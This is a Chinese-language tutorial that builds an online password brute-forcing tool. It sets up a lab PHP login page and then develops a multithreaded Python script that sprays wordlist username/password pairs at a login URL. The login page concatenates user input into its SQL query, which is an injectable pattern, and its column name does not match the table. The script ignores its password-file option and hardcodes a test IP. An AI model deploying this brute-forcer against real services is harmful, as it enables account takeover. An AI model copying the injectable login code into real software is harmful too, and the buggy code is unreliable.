在线密码破解
- 什么是在线密码破解
针对在线服务的认证凭证进行合法的用户枚举
离线密码破解:拿到密文之后去破解
- Web安全中用来破解的工具Burpsuite
基于表单验证的破解
基于http认证的破解
环境搭建
phpstudy启动对应服务
mysql创建本次实验所需环境
- 创建数据库/数据表/插入数据
编写登录页面
- html编写登录框
- php连接数据库并将登录数据进行查询
登录数据库创建环境
create database test;
create table testbiao(name varchar(25),password varchar(25));
insert into testbiao values("daming","mingda");
sublime text3 编写php连接数据库代码
<html>
<body>
<form action="index.php" method="post">
用户名: <input type="text" name="user"/>
密码: <input type="text" name="password"/>
<input type="submit" name="">
</form>
<?php #连接mysql数据库
$con = mysqli_connect("127.0.0.1" ,"root","root","test");
echo "欢迎登录<br>";
$zh = $_POST['user'];
$mima = $_POST['password'];
#将登录名以及登录密码拿到数据库查询
$sql = "select * from testbiao where name = '$zh' and passwd = '$mima'";
$query = mysqli_query($con,$sql);
while($row = mysqli_fetch_array($query))
{ #提取第一条查询到的信息,数据一致则登录成功
echo "<br>login successful <br>"
;}
;#关闭连接
mysqli_free_result($query);
mysqli_close($con);
?>
</body>
</html>
命令行模块介绍
- optparse模块介绍
- 使用步骤
- 导入optparse
- 初始化optparse.OptionParse
- 初始化对象的 usage属性
- 添加参数
parser.add_options(‘-u’,’--userfile’,-dest=”username_file”,-help=’read username from file’,metavar= ‘FILE’,action=’store’,type=’string’)
存储提交的命令行参数(options,args)=parser.parse_args() 使用parser.parse_args()进行存储,使用一个元组来进行接收 测试输出 print(options.username_file)
import optparse
parser = optparse.OptionParser()
parser.usage = "command_args.py -u user_file" #dest就是参数存在option中的位置
parser.add_option("-u","--user_file",help="read username from file",action="store",type="string",metavar="FILE",dest="username_file")
(option,args) = parser.parse_args()
print(option.username_file)
输出帮助信息可以看到metavar起到一个占位的作用
optparse.add_option更多详细信息
1.-u,--userfile 表示一个是短选项 一个是长选项
2.dest='username_file' 将该用户输入的参数保存到变量user中,可以通过options.user方式来获取该值
3.type=string,表示这个参数值的类型必须是str字符型,如果是其他类型那么将强制转换为str(可能会报错)
4.metavar='user',当用户查看帮助信息,如果metavar没有设值,那么显示的帮助信息的参数后面默认带上dest所定义的变量名
5.help='Enter..',显示的帮助提示信息
6.default=3306,表示如果参数后面没有跟值,那么将默认为变量default的值
7.parse.set_defaults(v=1.2) 也可以这样设置默认值
Web密码破解命令行读取模板编写
- 需要读取用户名 usernam
- 需要读取用户密码 password
- 需要读取目标链接 url
- 需要读取线程数 threads
import optparse
parser = optparse.OptionParser()
parser.usage=('web_brute_command.py -s url -p pass_file -t num')
parser.add_option('-s','--site',dest='website',help="website to test",action="store",type="string",metavar="URL")
parser.add_option("-u","--userfile",dest="userfile",help="username from file",action="store",type="string",metavar='USERFILE')
parser.add_option('-p','--passfile',dest="passfile",help="password from file",action="store",type="string",metavar="PASSFILE")
parser.add_option('-t','--thread',dest="threads",help="number of threads",action="store",type="int",metavar=' THREADS')
(options,args) = parser.parse_args()
print(options.website)
print(options.userfile)
print(options.passfile)
print(options.threads)
输出帮助信息
payload确定
- 思路
- 用户名循环读取,密码根据线程数均分,用户名和密码组合,使用多线程扫描探测
新建一个密码列表[[],[],[]] 第一,读取所有密码字典中的内容到要给列表中,确定字典行数 第二,使用临时列表获取到的项数 除以 线程数 来确认每一个线程的项数
with open('passwd.txt') as f:
temp_list = f.readlines()
temp_thread_list = [] #临时列表用来追加数据
num = len(temp_list)
result = num/ths #使用临时列表获取到的项数 除以 线程数 来确认每一个线程的项数
result = math.floor(result) #向下取整获得为整数的线程数
result_num = result
flag = 0
for line in temp_list:
flag += 1
temp_thread_list.append(line.strip())
if flag == result_num:
flag = 0
pass_list.append(temp_thread_list)
temp_thread_list = [] #将临时线程列表初始化等于空
for line in temp_thread_list:
pass_list[ths-1].append(line)
密码字典确认与多线程访问
- 根据线程数确认
- payload -> pass_list加上用户名组合成一个线程使用的payload
- Python中的多线程访问
- Import threading
- threading.Thread(target=函数名,args=(参数))
- 开启线程,start()
- 工具中使用线程多列表
ths_list = [] #用来存储总线程
with open(user_dic,'r') as f:
user_list = f.readlines()
for user in user_list:
for pass_line in pass_list:
payload = {'user':user.strip(),'pass_list':pass_line}
ths_list.append(threading.Thread(target=scan,args=(payload,)))
#payload后跟着,表示传递的是一个元组
for th in ths_list:
th.start() #启动线程
扫描模块编写
- 确认登录失败的字符长度,相比较字符长度比一致的则为破解成功
- 修改默认的User-Agent
- 伪造错误的登录信息,
- requets.post()提交参数
- 参数获得
- payload[“user”]
- payload[“psssword”]
- 与登录失败的字符长度进行对比
- 输出登录成功的链接
def test(): #获得登录失败的text长度,后面用于比较
url = "http://192.168.3.102/index.php"
header = {"User-Agent":"Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/80.0.3987.149 Safari/537.36"}
r = requests.post(url,data={'user':'asdf','password':'adsf'},headers=header)
return len(r.text)
error_len = test()
def scan(payload):
user = payload["user"]
pass_list = payload["pass_list"]
for password in pass_list:
header = {"User-Agent":"Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/80.0.3987.149 Safari/537.36"}
r = requests.post(url=site,data={"user":user,"password":password},headers=header)
if len(r.text) != error_len: #判断非登录失败的值
print("url:", site + " " + 'username:' + user + " " + 'password:' + password + " " + 'length: ' + str(len(r.text)) + "\r\n")
print()
完整代码
import optparse
import math
import threading
import requests
parser = optparse.OptionParser()
parser.usage=('web_brute_command.py -s url -p pass_file -t num')
parser.add_option('-s','--site',dest='website',help="website to test",action="store",type="string",metavar="URL")
parser.add_option("-u","--userfile",dest="userfile",help="username from file",action="store",type="string",metavar='USERFILE')
parser.add_option('-p','--passfile',dest="passfile",help="password from file",action="store",type="string",metavar="PASSFILE")
parser.add_option('-t','--thread',dest="threads",help="number of threads",action="store",type="int",metavar=' THREADS')
(options,args) = parser.parse_args()
#使用parser.parse_args()来存储参数,前面使用一个元组来进行接收
ths = options.threads
user_dic = options.userfile
pass_dic = options.passfile
site = options.website
pass_list = [] # 新建一个密码列表[[],[],[]]
result_num = 0 #表示线程要读取内容行数
#第一步,读取所有密码字典中的内容到要给列表中,确定字典行数
with open('passwd.txt') as f:
temp_list = f.readlines()
temp_thread_list = []
num = len(temp_list)
result = num/ths #使用临时列表获取到的项数 除以 线程数 来确认每一个线程的项数
result = math.floor(result)
result_num = result
flag = 0
for line in temp_list:
flag += 1
temp_thread_list.append(line.strip())
if flag == result_num:
flag = 0
pass_list.append(temp_thread_list)
temp_thread_list = [] #将临时线程列表初始化等于空
for line in temp_thread_list:
pass_list[ths-1].append(line)
def test(): #获得登录失败的text长度,后面用于比较
url = "http://192.168.3.102/index.php"
header = {"User-Agent":"Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/80.0.3987.149 Safari/537.36"}
r = requests.post(url,data={'user':'asdf','password':'adsf'},headers=header)
return len(r.text)
error_len = test()
def scan(payload):
user = payload["user"]
pass_list = payload["pass_list"]
for password in pass_list:
header = {"User-Agent":"Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/80.0.3987.149 Safari/537.36"}
r = requests.post(url=site,data={"user":user,"password":password},headers=header)
if len(r.text) != error_len: #判断非登录失败的值
print("url:", site + " " + 'username:' + user + " " + 'password:' + password + " " + 'length: ' + str(len(r.text)) + "\r\n")
print()
ths_list = [] #用来存储总线程
with open(user_dic,'r') as f:
user_list = f.readlines()
for user in user_list:
for pass_line in pass_list:
payload = {'user':user.strip(),'pass_list':pass_line}
ths_list.append(threading.Thread(target=scan,args=(payload,)))
#payload后跟着,表示传递的是一个元组
for th in ths_list:
th.start() #启动线程
运行效果